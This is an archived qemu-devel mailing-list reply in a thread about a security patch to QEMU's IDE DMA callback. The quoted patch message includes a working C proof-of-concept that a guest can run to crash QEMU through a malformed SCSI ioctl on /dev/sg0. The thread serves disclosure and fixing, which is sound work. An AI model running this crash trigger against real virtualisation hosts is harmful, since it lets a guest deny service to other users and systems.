qemu-devel.nongnu.org archive mirror
 help / color / mirror / Atom feed
From: "Michael S. Tsirkin" <mst@redhat.com>
To: Alexander Popov <alex.popov@linux.com>
Cc: Andrea Arcangeli <aarcange@redhat.com>,
	sstabellini@kernel.org, pmatouse@redhat.com,
	mdroth@linux.vnet.ibm.com, qemu-block@nongnu.org,
	qemu-devel@nongnu.org, qemu-stable@nongnu.org,
	Kashyap Chamarthy <kashyap.cv@gmail.com>,
	Paolo Bonzini <pbonzini@redhat.com>, John Snow <jsnow@redhat.com>,
	pjp@redhat.com, David Woodhouse <David.Woodhouse@intel.com>
Subject: Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
Date: Wed, 6 Nov 2019 07:08:54 -0500	[thread overview]
Message-ID: <20191106070530-mutt-send-email-mst@kernel.org> (raw)
In-Reply-To: <d748c840-56b7-6dcd-c82d-fea0a4949e8d@linux.com>

On Wed, Nov 06, 2019 at 01:17:51PM +0300, Alexander Popov wrote:
> On 27.07.2019 00:09, Alexander Popov wrote:
> > On 26.07.2019 2:25:03 GMT+02:00, John Snow <jsnow@redhat.com> wrote:
> >> Oh, this is fun.
> > ...
> >> I can worry about a proper fix for 4.2+.
> >
> > Hello John,
> >
> > Thanks for your letter.
> >
> > I double-checked the git history and mailing list, I'm still sure
> > that my fix for this assertion is correct.
> 
> Hello!
> 
> I'm pointing politely to this issue again.
> 
> It crashes qemu during syzkaller fuzzing.
> 
> It's really annoying to manually apply the fix against it to qemu.

I understand. Maybe the fuzzer can be taught to skip the
specific issue for now?

> I'm quoting my patch from July that _correctly_ fixes the wrong assertion
> introduced in the commit a718978ed58a.
> 
> Why don't you apply my commit and then do the refactoring later when you want?
> 
> Best regards,
> Alexander
> 
> On 05.07.2019 17:07, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> > 
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> > 
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> > 
> > #define CMD_SIZE 2048
> > 
> > struct scsi_ioctl_cmd_6 {
> > 	unsigned int inlen;
> > 	unsigned int outlen;
> > 	unsigned char cmd[6];
> > 	unsigned char data[];
> > };
> > 
> > int main(void)
> > {
> > 	intptr_t fd = 0;
> > 	struct scsi_ioctl_cmd_6 *cmd = NULL;
> > 
> > 	cmd = malloc(CMD_SIZE);
> > 	if (!cmd) {
> > 		perror("[-] malloc");
> > 		return 1;
> > 	}
> > 
> > 	memset(cmd, 0, CMD_SIZE);
> > 	cmd->inlen = 1337;
> > 	cmd->cmd[0] = READ_6;
> > 
> > 	fd = open("/dev/sg0", O_RDONLY);
> > 	if (fd == -1) {
> > 		perror("[-] opening sg");
> > 		return 1;
> > 	}
> > 
> > 	printf("[+] sg0 is opened\n");
> > 
> > 	printf("[.] qemu should break here:\n");
> > 	fflush(stdout);
> > 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> > 	printf("[-] qemu didn't break\n");
> > 
> > 	free(cmd);
> > 
> > 	return 1;
> > }
> > 
> > Signed-off-by: Alexander Popov <alex.popov@linux.com>
> > ---
> >  hw/ide/core.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >  
> >      sector_num = ide_get_sector(s);
> >      if (n > 0) {
> > -        assert(n * 512 == s->sg.size);
> > +        assert(n == s->sg.size / 512);
> >          dma_buf_commit(s, s->sg.size);
> >          sector_num += n;
> >          ide_set_sector(s, sector_num);


  reply	other threads:[~2019-11-06 12:09 UTC|newest]

Thread overview: 14+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2019-07-05 14:07 [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest Alexander Popov
2019-07-05 14:13 ` Alexander Popov
2019-07-15 11:24 ` Alexander Popov
2019-07-16 11:25   ` [Qemu-devel] [Qemu-block] " Kevin Wolf
2019-07-16 14:57     ` John Snow
2019-07-16 16:18       ` P J P
2019-07-26  0:25 ` [Qemu-devel] " John Snow
2019-07-26 21:09   ` Alexander Popov
2019-11-06 12:05   ` Michael S. Tsirkin
2019-11-06 22:05     ` Alexander Popov
2019-11-14 17:31       ` Alexander Popov
2019-11-06 10:17 ` Alexander Popov
2019-11-06 12:08   ` Michael S. Tsirkin [this message]
2019-11-06 22:01     ` Alexander Popov

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20191106070530-mutt-send-email-mst@kernel.org \
    --to=mst@redhat.com \
    --cc=David.Woodhouse@intel.com \
    --cc=aarcange@redhat.com \
    --cc=alex.popov@linux.com \
    --cc=jsnow@redhat.com \
    --cc=kashyap.cv@gmail.com \
    --cc=mdroth@linux.vnet.ibm.com \
    --cc=pbonzini@redhat.com \
    --cc=pjp@redhat.com \
    --cc=pmatouse@redhat.com \
    --cc=qemu-block@nongnu.org \
    --cc=qemu-devel@nongnu.org \
    --cc=qemu-stable@nongnu.org \
    --cc=sstabellini@kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).